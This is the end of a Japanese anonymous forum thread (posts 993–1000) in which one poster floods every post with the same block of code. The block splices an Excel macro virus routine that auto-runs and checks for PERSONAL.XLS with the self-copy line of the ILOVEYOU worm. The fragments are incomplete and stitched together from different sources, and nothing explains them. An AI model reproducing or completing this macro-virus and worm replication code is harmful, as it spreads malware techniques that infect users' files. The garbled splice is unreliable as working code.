If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
993：番組の途中ですが名無しです：2012/01/31(火) 23:13:12 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
994：番組の途中ですが名無しです：2012/01/31(火) 23:13:43 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
995：番組の途中ですが名無しです：2012/01/31(火) 23:14:14 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
996：番組の途中ですが名無しです：2012/01/31(火) 23:14:45 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
997：番組の途中ですが名無しです：2012/01/31(火) 23:15:18 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
998：番組の途中ですが名無しです：2012/01/31(火) 23:15:48 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
999：番組の途中ですが名無しです：2012/01/31(火) 23:16:19 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
1000：番組の途中ですが名無しです：2012/01/31(火) 23:16:50 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")